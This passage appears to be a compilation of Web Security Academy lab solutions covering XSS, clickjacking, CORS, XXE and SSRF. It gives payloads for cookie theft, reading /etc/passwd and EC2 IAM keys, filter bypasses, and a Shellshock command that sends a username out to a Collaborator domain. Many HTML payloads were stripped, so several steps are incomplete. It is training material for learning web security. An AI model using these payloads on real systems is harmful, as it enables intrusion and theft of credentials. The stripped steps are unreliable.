labs](/web-security/all-labs#cross-site-scripting) - [Web Security Academy](/web-security) - [Cross-site scripting](/web-security/cross-site-scripting) - [DOM-based](/web-security/cross-site-scripting/dom-based) - [Lab](/web-security/cross-site-scripting/dom-based/lab-innerhtml-sink) ## XSS ![modern-xss-payload](modernxss.png) ![modern-xss-payload](modernxss2.png) ### Lab: DOM XSS in `innerHTML` sink using source `location.search` This lab contains a DOM-based cross-site scripting vulnerability in the search blog functionality. It uses an `innerHTML` assignment, which changes the HTML contents of a `div` element, using data from `location.search`. To solve this lab, perform a cross-site scripting attack that calls the `alert` function. ##### Solution 1. Enter the following into the into the search box: `

` 2. Click "Search". The value of the `src` attribute is invalid and throws an error. This triggers the `onerror` event handler, which then calls the `alert()` function. As a result, the payload is executed whenever the user's browser attempts to load the page containing your malicious post. ### Lab: DOM XSS in jQuery anchor `href` attribute sink using `location.search` source This lab contains a DOM-based cross-site scripting vulnerability in the submit feedback page. It uses the jQuery library's `$` selector function to find an anchor element, and changes its `href` attribute using data from `location.search`. To solve this lab, make the "back" link alert `document.cookie`. ##### Solution 1. On the Submit feedback page, change the query parameter `returnPath` to `/` followed by a random alphanumeric string. 2. Right-click and inspect the element, and observe that your random string has been placed inside an a `href` attribute. 3. Change `returnPath` to: `javascript:alert(document.cookie)` Hit enter and click "back". ### Lab: DOM XSS in jQuery selector sink using a hashchange event This lab contains a DOM-based cross-site scripting vulnerability on the home page. It uses jQuery's `$()` selector function to auto-scroll to a given post, whose title is passed via the `location.hash` property. To solve the lab, deliver an exploit to the victim that calls the `print()` function in their browser. ##### Solution 1. Notice the vulnerable code on the home page using Burp or the browser's DevTools. 2. From the lab banner, open the exploit server. 3. In the **Body** section, add the following malicious `iframe`: `` 4. Store the exploit, then click **View exploit** to confirm that the `print()` function is called. 5. Go back to the exploit server and click **Deliver to victim** to solve the lab. ###### Jarno Timmermans ### Lab: Reflected XSS into attribute with angle brackets HTML-encoded This lab contains a reflected cross-site scripting vulnerability in the search blog functionality where angle brackets are HTML-encoded. To solve this lab, perform a cross-site scripting attack that injects an attribute and calls the `alert` function. ##### Hint Just because you're able to trigger the `alert()` yourself doesn't mean that this will work on the victim. You may need to try injecting your proof-of- concept payload with a variety of different attributes before you find one that successfully executes in the victim's browser. ##### Solution 1. Submit a random alphanumeric string in the search box, then use Burp Suite to intercept the search request and send it to Burp Repeater. 2. Observe that the random string has been reflected inside a quoted attribute. 3. Replace your input with the following payload to escape the quoted attribute and inject an event handler: `"onmouseover="alert(1)` 4. Verify the technique worked by right-clicking, selecting "Copy URL", and pasting the URL in the browser. When you move the mouse over the injected element it should trigger an alert. ### Lab: Stored XSS into anchor `href` attribute with double quotes HTML-encoded This lab contains a stored cross-site scripting vulnerability in the comment functionality. To solve this lab, submit a comment that calls the `alert` function when the comment author name is clicked. ##### Solution 1. Post a comment with a random alphanumeric string in the "Website" input, then use Burp Suite to intercept the request and send it to Burp Repeater. 2. Make a second request in the browser to view the post and use Burp Suite to intercept the request and send it to Burp Repeater. 3. Observe that the random string in the second Repeater tab has been reflected inside an anchor `href` attribute. 4. Repeat the process again but this time replace your input with the following payload to inject a JavaScript URL that calls alert: `javascript:alert(1)` 5. Verify the technique worked by right-clicking, selecting "Copy URL", and pasting the URL in the browser. Clicking the name above your comment should trigger an alert. ### Lab: Reflected XSS into a JavaScript string with angle brackets HTML encoded This lab contains a reflected cross-site scripting vulnerability in the search query tracking functionality where angle brackets are encoded. The reflection occurs inside a JavaScript string. To solve this lab, perform a cross-site scripting attack that breaks out of the JavaScript string and calls the `alert` function. ##### Solution 1. Submit a random alphanumeric string in the search box, then use Burp Suite to intercept the search request and send it to Burp Repeater. 2. Observe that the random string has been reflected inside a JavaScript string. 3. Replace your input with the following payload to break out of the JavaScript string and inject an alert: `'-alert(1)-'` 4. Verify the technique worked by right clicking, selecting "Copy URL", and pasting the URL in the browser. When you load the page it should trigger an alert. ### Lab: DOM XSS in `document.write` sink using source `location.search` inside a select element This lab contains a DOM-based cross-site scripting vulnerability in the stock checker functionality. It uses the JavaScript `document.write` function, which writes data out to the page. The `document.write` function is called with data from `location.search` which you can control using the website URL. The data is enclosed within a select element. To solve this lab, perform a cross-site scripting attack that breaks out of the select element and calls the `alert` function. ##### Solution 1. On the product pages, notice that the dangerous JavaScript extracts a `storeId` parameter from the `location.search` source. It then uses `document.write` to create a new option in the select element for the stock checker functionality. 2. Add a `storeId` query parameter to the URL and enter a random alphanumeric string as its value. Request this modified URL. 3. In the browser, notice that your random string is now listed as one of the options in the drop-down list. 4. Right-click and inspect the drop-down list to confirm that the value of your `storeId` parameter has been placed inside a select element. 5. Change the URL to include a suitable XSS payload inside the `storeId` parameter as follows: `product?productId=1&storeId=">` ### Lab: DOM XSS in AngularJS expression with angle brackets and double quotes HTML-encoded This lab contains a DOM-based cross-site scripting vulnerability in a AngularJS expression within the search functionality. AngularJS is a popular JavaScript library, which scans the contents of HTML nodes containing the `ng-app` attribute (also known as an AngularJS directive). When a directive is added to the HTML code, you can execute JavaScript expressions within double curly braces. This technique is useful when angle brackets are being encoded. To solve this lab, perform a cross-site scripting attack that executes an AngularJS expression and calls the `alert` function. ##### Solution 1. Enter a random alphanumeric string into the search box. 2. View the page source and observe that your random string is enclosed in an `ng-app` directive. 3. Enter the following AngularJS expression in the search box: `{{$on.constructor('alert(1)')()}}` 4. Click **search**. ###### Jarno Timmermans ### Lab: Reflected DOM XSS This lab demonstrates a reflected DOM vulnerability. Reflected DOM vulnerabilities occur when the server-side application processes data from a request and echoes the data in the response. A script on the page then processes the reflected data in an unsafe way, ultimately writing it to a dangerous sink. To solve this lab, create an injection that calls the `alert()` function. ##### Solution 1. In Burp Suite, go to the Proxy tool and make sure that the Intercept feature is switched on. 2. Back in the lab, go to the target website and use the search bar to search for a random test string, such as `"XSS"`. 3. Return to the Proxy tool in Burp Suite and forward the request. 4. On the Intercept tab, notice that the string is reflected in a JSON response called `search-results`. 5. From the Site Map, open the `searchResults.js` file and notice that the JSON response is used with an `eval()` function call. 6. By experimenting with different search strings, you can identify that the JSON response is escaping quotation marks. However, backslash is not being escaped. 7. To solve this lab, enter the following search term: `\"-alert(1)}//` As you have injected a backslash and the site isn't escaping them, when the JSON response attempts to escape the opening double-quotes character, it adds a second backslash. The resulting double-backslash causes the escaping to be effectively canceled out. This means that the double-quotes are processed unescaped, which closes the string that should contain the search term. An arithmetic operator (in this case the subtraction operator) is then used to separate the expressions before the `alert()` function is called. Finally, a closing curly bracket and two forward slashes close the JSON object early and comment out what would have been the rest of the object. As a result, the response is generated as follows: `{"searchTerm":"\\"-alert(1)}//", "results":[]}` ### Lab: Stored DOM XSS This lab demonstrates a stored DOM vulnerability in the blog comment functionality. To solve this lab, exploit this vulnerability to call the `alert()` function. ##### Solution Post a comment containing the following vector: `<>

` In an attempt to prevent XSS, the website uses the JavaScript `replace()` function to encode angle brackets. However, when the first argument is a string, the function only replaces the first occurrence. We exploit this vulnerability by simply including an extra set of angle brackets at the beginning of the comment. These angle brackets will be encoded, but any subsequent angle brackets will be unaffected, enabling us to effectively bypass the filter and inject HTML. ### Lab: Reflected XSS into HTML context with most tags and attributes blocked This lab contains a reflected XSS vulnerability in the search functionality but uses a web application firewall (WAF) to protect against common XSS vectors. To solve the lab, perform a cross-site scripting attack that bypasses the WAF and calls the `print()` function. ##### Note Your solution must not require any user interaction. Manually causing `print()` to be called in your own browser will not solve the lab. ##### Solution 1. Inject a standard XSS vector, such as: `

` 2. Observe that this gets blocked. In the next few steps, we'll use use Burp Intruder to test which tags and attributes are being blocked. 3. Open Burp's browser and use the search function in the lab. Send the resulting request to Burp Intruder. 4. In Burp Intruder, replace the value of the search term with: `<>` 5. Place the cursor between the angle brackets and click **Add §** to create a payload position. The value of the search term should now look like: `<§§>` 6. Visit the [XSS cheat sheet](/web-security/cross-site-scripting/cheat-sheet) and click **Copy tags to clipboard**. 7. In the **Payloads** side panel, under **Payload configuration** , click **Paste** to paste the list of tags into the payloads list. Click **Start attack**. 8. When the attack is finished, review the results. Note that most payloads caused a `400` response, but the `body` payload caused a `200` response. 9. Go back to Burp Intruder and replace your search term with: `` 10. Place the cursor before the `=` character and click **Add §** to create a payload position. The value of the search term should now look like: `` 11. Visit the [XSS cheat sheet](/web-security/cross-site-scripting/cheat-sheet) and click **Copy events to clipboard**. 12. In the **Payloads** side panel, under **Payload configuration** , click **Clear** to remove the previous payloads. Then click **Paste** to paste the list of attributes into the payloads list. Click **Start attack**. 13. When the attack is finished, review the results. Note that most payloads caused a `400` response, but the `onresize` payload caused a `200` response. 14. Go to the exploit server and paste the following code, replacing `YOUR-LAB-ID` with your lab ID: `` 3. Make the following adjustments to the template: - Replace `YOUR-LAB-ID` in the iframe `src` attribute with your unique lab ID. - Substitute suitable pixel values for the `$height_value` and `$width_value` variables of the iframe (we suggest 700px and 500px respectively). - Substitute suitable pixel values for the `$top_value` and `$side_value` variables of the decoy web content so that the "Delete account" button and the "Test me" decoy action align (we suggest 300px and 60px respectively). - Set the opacity value `$opacity` to ensure that the target iframe is transparent. Initially, use an opacity of 0.1 so that you can align the iframe actions and adjust the position values as necessary. For the submitted attack a value of 0.0001 will work. 4. Click **Store** and then **View exploit**. 5. Hover over **Test me** and ensure the cursor changes to a hand indicating that the div element is positioned correctly. **Do not actually click the "Delete account" button yourself.** If you do, the lab will be broken and you will need to wait until it resets to try again (about 20 minutes). If the div does not line up properly, adjust the `top` and `left` properties of the style sheet. 6. Once you have the div element lined up correctly, change "Test me" to "Click me" and click **Store**. 7. Click on **Deliver exploit to victim** and the lab should be solved. ### Lab: Clickjacking with form input data prefilled from a URL parameter This lab extends the basic clickjacking example in [Lab: Basic clickjacking with CSRF token protection](/web-security/clickjacking/lab-basic-csrf- protected). The goal of the lab is to change the email address of the user by prepopulating a form using a URL parameter and enticing the user to inadvertently click on an "Update email" button. To solve the lab, craft some HTML that frames the account page and fools the user into updating their email address by clicking on a "Click me" decoy. The lab is solved when the email address is changed. You can log in to your own account using the following credentials: `wiener:peter` ##### Note The victim will be using Chrome so test your exploit on that browser. ##### Hint You cannot register an email address that is already taken by another user. If you change your own email address while testing your exploit, make sure you use a different email address for the final exploit you deliver to the victim. ##### Solution 1. Log in to the account on the target website. 2. Go to the exploit server and paste the following HTML template into the "Body" section: `

Test me

` 3. Make the following adjustments to the template: - Replace `YOUR-LAB-ID` with your unique lab ID so that the URL points to the target website's user account page, which contains the "Update email" form. - Substitute suitable pixel values for the `$height_value` and `$width_value` variables of the iframe (we suggest 700px and 500px respectively). - Substitute suitable pixel values for the `$top_value` and `$side_value` variables of the decoy web content so that the "Update email" button and the "Test me" decoy action align (we suggest 400px and 80px respectively). - Set the opacity value `$opacity` to ensure that the target iframe is transparent. Initially, use an opacity of 0.1 so that you can align the iframe actions and adjust the position values as necessary. For the submitted attack a value of 0.0001 will work. 4. Click **Store** and then **View exploit**. 5. Hover over "Test me" and ensure the cursor changes to a hand indicating that the div element is positioned correctly. If not, adjust the position of the div element by modifying the top and left properties of the style sheet. 6. Once you have the div element lined up correctly, change "Test me" to "Click me" and click **Store**. 7. Change the email address in your exploit so that it doesn't match your own. ### Lab: Clickjacking with a frame buster script This lab is protected by a frame buster which prevents the website from being framed. Can you get around the frame buster and conduct a clickjacking attack that changes the users email address? To solve the lab, craft some HTML that frames the account page and fools the user into changing their email address by clicking on "Click me". The lab is solved when the email address is changed. You can log in to your own account using the following credentials: `wiener:peter` ##### Note The victim will be using Chrome so test your exploit on that browser. ##### Hint You cannot register an email address that is already taken by another user. If you change your own email address while testing your exploit, make sure you use a different email address for the final exploit you deliver to the victim. ##### Solution 1. Log in to the account on the target website. 2. Go to the exploit server and paste the following HTML template into the "Body" section: `

Test me

` 3. Make the following adjustments to the template: _ Replace `YOUR-LAB-ID` in the iframe `src` attribute with your unique lab ID so that the URL of the target website's user account page, which contains the "Update email" form. _ Substitute suitable pixel values for the $height_value and $width_value variables of the iframe (we suggest 700px and 500px respectively). * Substitute suitable pixel values for the $top_value and $side_value variables of the decoy web content so that the "Update email" button and the "Test me" decoy action align (we suggest 385px and 80px respectively). * Set the opacity value `$opacity`to ensure that the target iframe is transparent. Initially, use an opacity of 0.1 so that you can align the iframe actions and adjust the position values as necessary. For the submitted attack a value of 0.0001 will work. Notice the use of the`sandbox="allow-forms"` attribute that neutralizes the frame buster script. 4. Click **Store** and then **View exploit**. 5. Hover over "Test me" and ensure the cursor changes to a hand indicating that the div element is positioned correctly. If not, adjust the position of the div element by modifying the top and left properties of the style sheet. 6. Once you have the div element lined up correctly, change "Test me" to "Click me" and click **Store**. 7. Change the email address in your exploit so that it doesn't match your own. ### Lab: Exploiting clickjacking vulnerability to trigger DOM-based XSS This lab contains an XSS vulnerability that is triggered by a click. Construct a clickjacking attack that fools the user into clicking the "Click me" button to call the `print()` function. ##### Note The victim will be using Chrome so test your exploit on that browser. ##### Solution 1. Go to the exploit server and paste the following HTML template into the **Body** section: `

Test me

` 2. Make the following adjustments to the template: - Replace `YOUR-LAB-ID` in the iframe `src` attribute with your unique lab ID so that the URL points to the target website's "Submit feedback" page. - Substitute suitable pixel values for the $height_value and $width_value variables of the iframe (we suggest 700px and 500px respectively). - Substitute suitable pixel values for the $top_value and $side_value variables of the decoy web content so that the "Submit feedback" button and the "Test me" decoy action align (we suggest 610px and 80px respectively). - Set the opacity value `$opacity` to ensure that the target iframe is transparent. Initially, use an opacity of 0.1 so that you can align the iframe actions and adjust the position values as necessary. For the submitted attack a value of 0.0001 will work. 3. Click **Store** and then **View exploit**. 4. Hover over "Test me" and ensure the cursor changes to a hand indicating that the div element is positioned correctly. If not, adjust the position of the div element by modifying the top and left properties of the style sheet. 5. Click **Test me**. The print dialog should open. 6. Change "Test me" to "Click me" and click **Store** on the exploit server. 7. Now click on **Deliver exploit to victim** and the lab should be solved. ### Lab: Multistep clickjacking This lab has some account functionality that is protected by a CSRF token and also has a confirmation dialog to protect against Clickjacking. To solve this lab construct an attack that fools the user into clicking the delete account button and the confirmation dialog by clicking on "Click me first" and "Click me next" decoy actions. You will need to use two elements for this lab. You can log in to the account yourself using the following credentials: `wiener:peter` ##### Note The victim will be using Chrome so test your exploit on that browser. ##### Solution 1. Log in to your account on the target website and go to the user account page. 2. Go to the exploit server and paste the following HTML template into the "Body" section: `

Test me first

Test me next

` 3. Make the following adjustments to the template: - Replace `YOUR-LAB-ID` with your unique lab ID so that URL points to the target website's user account page. - Substitute suitable pixel values for the `$width_value` and `$height_value` variables of the iframe (we suggest 500px and 700px respectively). - Substitute suitable pixel values for the `$top_value1` and `$side_value1` variables of the decoy web content so that the "Delete account" button and the "Test me first" decoy action align (we suggest 330px and 50px respectively). - Substitute a suitable value for the `$top_value2` and `$side_value2` variables so that the "Test me next" decoy action aligns with the "Yes" button on the confirmation page (we suggest 285px and 225px respectively). - Set the opacity value `$opacity` to ensure that the target iframe is transparent. Initially, use an opacity of 0.1 so that you can align the iframe actions and adjust the position values as necessary. For the submitted attack a value of 0.0001 will work. 4. Click **Store** and then **View exploit**. 5. Hover over "Test me first" and ensure the cursor changes to a hand indicating that the div element is positioned correctly. If not, adjust the position of the div element by modifying the top and left properties inside the `firstClick` class of the style sheet. 6. Click **Test me first** then hover over **Test me next** and ensure the cursor changes to a hand indicating that the div element is positioned correctly. If not, adjust the position of the div element by modifying the top and left properties inside the `secondClick` class of the style sheet. 7. Once you have the div element lined up correctly, change "Test me first" to "Click me first", "Test me next" to "Click me next" and click **Store** on the exploit server. ## DOM-based vulnerabilities ### Lab: DOM XSS using web messages This lab demonstrates a simple web message vulnerability. To solve this lab, use the exploit server to post a message to the target site that causes the `print()` function to be called. ##### Solution 1. Notice that the home page contains an `addEventListener()` call that listens for a web message. 2. Go to the exploit server and add the following `iframe` to the body. Remember to add your own lab ID: ` ``` Notice the use of an iframe sandbox as this generates a null origin request. 6. Click "View exploit". Observe that the exploit works - you have landed on the log page and your API key is in the URL. 7. Go back to the exploit server and click "Deliver exploit to victim". 8. Click "Access log", retrieve and submit the victim's API key to complete the lab. ### Lab: CORS vulnerability with trusted insecure protocols This website has an insecure CORS configuration in that it trusts all subdomains regardless of the protocol. To solve the lab, craft some JavaScript that uses CORS to retrieve the administrator's API key and upload the code to your exploit server. The lab is solved when you successfully submit the administrator's API key. You can log in to your own account using the following credentials: `wiener:peter` ##### Hint If you could man-in-the-middle attack (MITM) the victim, you could use a MITM attack to hijack a connection to an insecure subdomain, and inject malicious JavaScript to exploit the CORS configuration. Unfortunately in the lab environment, you can't MITM the victim, so you'll need to find an alternative way of injecting JavaScript into the subdomain. ##### Solution 1. Check intercept is off, then use Burp's browser to log in and access your account page. 2. Review the history and observe that your key is retrieved via an AJAX request to `/accountDetails`, and the response contains the `Access-Control-Allow-Credentials` header suggesting that it may support CORS. 3. Send the request to Burp Repeater, and resubmit it with the added header `Origin: http://subdomain.lab-id` where `lab-id` is the lab domain name. 4. Observe that the origin is reflected in the `Access-Control-Allow-Origin` header, confirming that the CORS configuration allows access from arbitrary subdomains, both HTTPS and HTTP. 5. Open a product page, click **Check stock** and observe that it is loaded using a HTTP URL on a subdomain. 6. Observe that the `productID` parameter is vulnerable to XSS. 7. In the browser, go to the exploit server and enter the following HTML, replacing `YOUR-LAB-ID` with your unique lab URL and `YOUR-EXPLOIT-SERVER-ID` with your exploit server ID: ```html ``` 8. Click **View exploit**. Observe that the exploit works - you have landed on the log page and your API key is in the URL. 9. Go back to the exploit server and click **Deliver exploit to victim**. 10. Click **Access log** , retrieve and submit the victim's API key to complete the lab. ## XML external entity (XXE) injection ### Lab: Exploiting XXE using external entities to retrieve files This lab has a "Check stock" feature that parses XML input and returns any unexpected values in the response. To solve the lab, inject an XML external entity to retrieve the contents of the `/etc/passwd` file. ##### Solution 1. Visit a product page, click "Check stock", and intercept the resulting POST request in Burp Suite. 2. Insert the following external entity definition in between the XML declaration and the `stockCheck` element: ` ]>` 3. Replace the `productId` number with a reference to the external entity: `&xxe;`. The response should contain "Invalid product ID:" followed by the contents of the `/etc/passwd` file. ### Lab: Exploiting XXE to perform SSRF attacks This lab has a "Check stock" feature that parses XML input and returns any unexpected values in the response. The lab server is running a (simulated) EC2 metadata endpoint at the default URL, which is `http://169.254.169.254/`. This endpoint can be used to retrieve data about the instance, some of which might be sensitive. To solve the lab, exploit the XXE vulnerability to perform an SSRF attack that obtains the server's IAM secret access key from the EC2 metadata endpoint. ##### Solution 1. Visit a product page, click "Check stock", and intercept the resulting POST request in Burp Suite. 2. Insert the following external entity definition in between the XML declaration and the `stockCheck` element: ` ]>` 3. Replace the `productId` number with a reference to the external entity: `&xxe;`. The response should contain "Invalid product ID:" followed by the response from the metadata endpoint, which will initially be a folder name. 4. Iteratively update the URL in the DTD to explore the API until you reach `/latest/meta-data/iam/security-credentials/admin`. This should return JSON containing the `SecretAccessKey`. ### Lab: Blind XXE with out-of-band interaction This lab has a "Check stock" feature that parses XML input but does not display the result. You can detect the blind XXE vulnerability by triggering out-of-band interactions with an external domain. To solve the lab, use an external entity to make the XML parser issue a DNS lookup and HTTP request to Burp Collaborator. ##### Note To prevent the Academy platform being used to attack third parties, our firewall blocks interactions between the labs and arbitrary external systems. To solve the lab, you must use Burp Collaborator's default public server. ##### Solution 1. Visit a product page, click "Check stock" and intercept the resulting POST request in Burp Suite Professional. 2. Insert the following external entity definition in between the XML declaration and the `stockCheck` element. Right-click and select "Insert Collaborator payload" to insert a Burp Collaborator subdomain where indicated: ` ]>` 3. Replace the `productId` number with a reference to the external entity: `&xxe;` 4. Go to the Collaborator tab, and click "Poll now". If you don't see any interactions listed, wait a few seconds and try again. You should see some DNS and HTTP interactions that were initiated by the application as the result of your payload. - [Lab](/web-security/xxe/blind/lab-xxe-with-out-of-band-interaction-using-parameter-entities) ### Lab: Blind XXE with out-of-band interaction via XML parameter entities This lab has a "Check stock" feature that parses XML input, but does not display any unexpected values, and blocks requests containing regular external entities. To solve the lab, use a parameter entity to make the XML parser issue a DNS lookup and HTTP request to Burp Collaborator. ##### Note To prevent the Academy platform being used to attack third parties, our firewall blocks interactions between the labs and arbitrary external systems. To solve the lab, you must use Burp Collaborator's default public server. ##### Solution 1. Visit a product page, click "Check stock" and intercept the resulting POST request in Burp Suite Professional. 2. Insert the following external entity definition in between the XML declaration and the `stockCheck` element. Right-click and select "Insert Collaborator payload" to insert a Burp Collaborator subdomain where indicated: ` %xxe; ]>` 3. Go to the Collaborator tab, and click "Poll now". If you don't see any interactions listed, wait a few seconds and try again. You should see some DNS and HTTP interactions that were initiated by the application as the result of your payload. - [Lab](/web-security/xxe/blind/lab-xxe-with-out-of-band-exfiltration) ### Lab: Exploiting blind XXE to exfiltrate data using a malicious external DTD This lab has a "Check stock" feature that parses XML input but does not display the result. To solve the lab, exfiltrate the contents of the `/etc/hostname` file. ##### Note To prevent the Academy platform being used to attack third parties, our firewall blocks interactions between the labs and arbitrary external systems. To solve the lab, you must use the provided exploit server and/or Burp Collaborator's default public server. ##### Solution 1. Using Burp Suite Professional, go to the [Collaborator](/burp/documentation/desktop/tools/collaborator) tab. 2. Click "Copy to clipboard" to copy a unique Burp Collaborator payload to your clipboard. 3. Place the Burp Collaborator payload into a malicious DTD file: ` "> %eval; %exfil;` 4. Click "Go to exploit server" and save the malicious DTD file on your server. Click "View exploit" and take a note of the URL. 5. You need to exploit the stock checker feature by adding a parameter entity referring to the malicious DTD. First, visit a product page, click "Check stock", and intercept the resulting POST request in Burp Suite. 6. Insert the following external entity definition in between the XML declaration and the `stockCheck` element: ` %xxe;]>` 7. Go back to the Collaborator tab, and click "Poll now". If you don't see any interactions listed, wait a few seconds and try again. 8. You should see some DNS and HTTP interactions that were initiated by the application as the result of your payload. The HTTP interaction could contain the contents of the `/etc/hostname` file. - [Lab](/web-security/xxe/blind/lab-xxe-with-data-retrieval-via-error-messages) ### Lab: Exploiting blind XXE to retrieve data via error messages This lab has a "Check stock" feature that parses XML input but does not display the result. To solve the lab, use an external DTD to trigger an error message that displays the contents of the `/etc/passwd` file. The lab contains a link to an exploit server on a different domain where you can host your malicious DTD. ##### Solution 1. Click "Go to exploit server" and save the following malicious DTD file on your server: ` "> %eval; %exfil;` When imported, this page will read the contents of `/etc/passwd` into the `file` entity, and then try to use that entity in a file path. 2. Click "View exploit" and take a note of the URL for your malicious DTD. 3. You need to exploit the stock checker feature by adding a parameter entity referring to the malicious DTD. First, visit a product page, click "Check stock", and intercept the resulting POST request in Burp Suite. 4. Insert the following external entity definition in between the XML declaration and the `stockCheck` element: ` %xxe;]>` You should see an error message containing the contents of the `/etc/passwd` file. ### Lab: Exploiting XInclude to retrieve files This lab has a "Check stock" feature that embeds the user input inside a server-side XML document that is subsequently parsed. Because you don't control the entire XML document you can't define a DTD to launch a classic XXE attack. To solve the lab, inject an `XInclude` statement to retrieve the contents of the `/etc/passwd` file. ##### Hint By default, `XInclude` will try to parse the included document as XML. Since `/etc/passwd` isn't valid XML, you will need to add an extra attribute to the `XInclude` directive to change this behavior. ##### Solution 1. Visit a product page, click "Check stock", and intercept the resulting POST request in Burp Suite. 2. Set the value of the `productId` parameter to: `` ### Lab: Exploiting XXE via image file upload This lab lets users attach avatars to comments and uses the Apache Batik library to process avatar image files. To solve the lab, upload an image that displays the contents of the `/etc/hostname` file after processing. Then use the "Submit solution" button to submit the value of the server hostname. ##### Hint The SVG image format uses XML. ##### Solution 1. Create a local SVG image with the following content: ` ]>` 2. Post a comment on a blog post, and upload this image as an avatar. 3. When you view your comment, you should see the contents of the `/etc/hostname` file in your image. Use the "Submit solution" button to submit the value of the server hostname. - [Lab](/web-security/xxe/blind/lab-xxe-trigger-error-message-by-repurposing-local-dtd) ### Lab: Exploiting XXE to retrieve data by repurposing a local DTD This lab has a "Check stock" feature that parses XML input but does not display the result. To solve the lab, trigger an error message containing the contents of the `/etc/passwd` file. You'll need to reference an existing DTD file on the server and redefine an entity from it. ##### Hint Systems using the GNOME desktop environment often have a DTD at `/usr/share/yelp/dtd/docbookx.dtd` containing an entity called `ISOamso.` ##### Solution 1. Visit a product page, click "Check stock", and intercept the resulting POST request in Burp Suite. 2. Insert the following parameter entity definition in between the XML declaration and the `stockCheck` element: ` "> %eval; %error; '> %local_dtd; ]>` This will import the Yelp DTD, then redefine the `ISOamso` entity, triggering an error message containing the contents of the `/etc/passwd` file. ## SSRF ### Lab: Basic SSRF against the local server This lab has a stock check feature which fetches data from an internal system. To solve the lab, change the stock check URL to access the admin interface at `http://localhost/admin` and delete the user `carlos`. ##### Solution 1. Browse to `/admin` and observe that you can't directly access the admin page. 2. Visit a product, click "Check stock", intercept the request in Burp Suite, and send it to Burp Repeater. 3. Change the URL in the `stockApi` parameter to `http://localhost/admin`. This should display the administration interface. 4. Read the HTML to identify the URL to delete the target user, which is: `http://localhost/admin/delete?username=carlos` 5. Submit this URL in the `stockApi` parameter, to deliver the SSRF attack. ### Lab: Basic SSRF against another back-end system This lab has a stock check feature which fetches data from an internal system. To solve the lab, use the stock check functionality to scan the internal `192.168.0.X` range for an admin interface on port `8080`, then use it to delete the user `carlos`. ##### Solution 1. Visit a product, click **Check stock** , intercept the request in Burp Suite, and send it to Burp Intruder. 2. Change the `stockApi` parameter to `http://192.168.0.1:8080/admin` then highlight the final octet of the IP address (the number `1`) and click **Add §**. 3. In the **Payloads** side panel, change the payload type to **Numbers** , and enter 1, 255, and 1 in the **From** and **To** and **Step** boxes respectively. 4. Click **Start attack**. 5. Click on the **Status** column to sort it by status code ascending. You should see a single entry with a status of `200`, showing an admin interface. 6. Click on this request, send it to Burp Repeater, and change the path in the `stockApi` to: `/admin/delete?username=carlos` - [Lab](/web-security/ssrf/blind/lab-out-of-band-detection) ### Lab: Blind SSRF with out-of-band detection This site uses analytics software which fetches the URL specified in the Referer header when a product page is loaded. To solve the lab, use this functionality to cause an HTTP request to the public Burp Collaborator server. ##### Note To prevent the Academy platform being used to attack third parties, our firewall blocks interactions between the labs and arbitrary external systems. To solve the lab, you must use Burp Collaborator's default public server. ##### Solution 1. Visit a product, intercept the request in Burp Suite, and send it to Burp Repeater. 2. Go to the Repeater tab. Select the Referer header, right-click and select "Insert Collaborator Payload" to replace the original domain with a Burp Collaborator generated domain. Send the request. 3. Go to the Collaborator tab, and click "Poll now". If you don't see any interactions listed, wait a few seconds and try again, since the server-side command is executed asynchronously. 4. You should see some DNS and HTTP interactions that were initiated by the application as the result of your payload. ### Lab: SSRF with blacklist-based input filter This lab has a stock check feature which fetches data from an internal system. To solve the lab, change the stock check URL to access the admin interface at `http://localhost/admin` and delete the user `carlos`. The developer has deployed two weak anti-SSRF defenses that you will need to bypass. ##### Solution 1. Visit a product, click "Check stock", intercept the request in Burp Suite, and send it to Burp Repeater. 2. Change the URL in the `stockApi` parameter to `http://127.0.0.1/` and observe that the request is blocked. 3. Bypass the block by changing the URL to: `http://127.1/` 4. Change the URL to `http://127.1/admin` and observe that the URL is blocked again. 5. Obfuscate the "a" by double-URL encoding it to %2561 to access the admin interface and delete the target user. ### Lab: SSRF with filter bypass via open redirection vulnerability This lab has a stock check feature which fetches data from an internal system. To solve the lab, change the stock check URL to access the admin interface at `http://192.168.0.12:8080/admin` and delete the user `carlos`. The stock checker has been restricted to only access the local application, so you will need to find an open redirect affecting the application first. ##### Solution 1. Visit a product, click "Check stock", intercept the request in Burp Suite, and send it to Burp Repeater. 2. Try tampering with the `stockApi` parameter and observe that it isn't possible to make the server issue the request directly to a different host. 3. Click "next product" and observe that the `path` parameter is placed into the Location header of a redirection response, resulting in an open redirection. 4. Create a URL that exploits the open redirection vulnerability, and redirects to the admin interface, and feed this into the `stockApi` parameter on the stock checker: `/product/nextProduct?path=http://192.168.0.12:8080/admin` 5. Observe that the stock checker follows the redirection and shows you the admin page. 6. Amend the path to delete the target user: `/product/nextProduct?path=http://192.168.0.12:8080/admin/delete?username=carlos` - [Lab](/web-security/ssrf/blind/lab-shellshock-exploitation) ### Lab: Blind SSRF with Shellshock exploitation This site uses analytics software which fetches the URL specified in the Referer header when a product page is loaded. To solve the lab, use this functionality to perform a blind SSRF attack against an internal server in the `192.168.0.X` range on port 8080. In the blind attack, use a Shellshock payload against the internal server to exfiltrate the name of the OS user. ##### Note To prevent the Academy platform being used to attack third parties, our firewall blocks interactions between the labs and arbitrary external systems. To solve the lab, you must use Burp Collaborator's default public server. ##### Solution 1. In Burp Suite Professional, install the Collaborator Everywhere extension from the BApp Store. 2. Add the domain of the lab to Burp Suite's [target scope](/burp/documentation/desktop/tools/target/scope), so that Collaborator Everywhere will target it. 3. Browse the site. 4. Observe that when you load a product page, it triggers an HTTP interaction with Burp Collaborator, via the `Referer` header. 5. Observe that the HTTP interaction contains your `User-Agent` string within the HTTP request. 6. Send the request to the product page to Burp Intruder. 7. Go to the [ Collaborator ](/burp/documentation/desktop/tools/collaborator) tab and generate a unique Burp Collaborator payload. Place this into the following Shellshock payload: `() { :; }; /usr/bin/nslookup $(whoami).BURP-COLLABORATOR-SUBDOMAIN` 8. Replace the `User-Agent` string in the Burp Intruder request with the Shellshock payload containing your Collaborator domain. 9. Change the `Referer` header to `http://192.168.0.1:8080` then highlight the final octet of the IP address (the number `1`), click **Add §**. 10. In the **Payloads** side panel, change the payload type to **Numbers** , and enter 1, 255, and 1 in the **From** and **To** and **Step** boxes respectively. 11. Click **Start attack**. 12. When the attack is finished, go to the **Collaborator** tab, and click **Poll now**. If you don't see any interactions listed, wait a few seconds and try again, since the server-side command is executed asynchronously. You should see a DNS interaction that was initiated by the back-end system that was hit by the successful blind SSRF attack. The name of the OS user should appear within the DNS subdomain. 13. To complete the lab, enter the name of the OS user. ### Lab: SSRF with whitelist-based input filter This lab has a stock check feature which fetches data from an internal system. To solve the lab, change the stock check URL to access the admin interface at 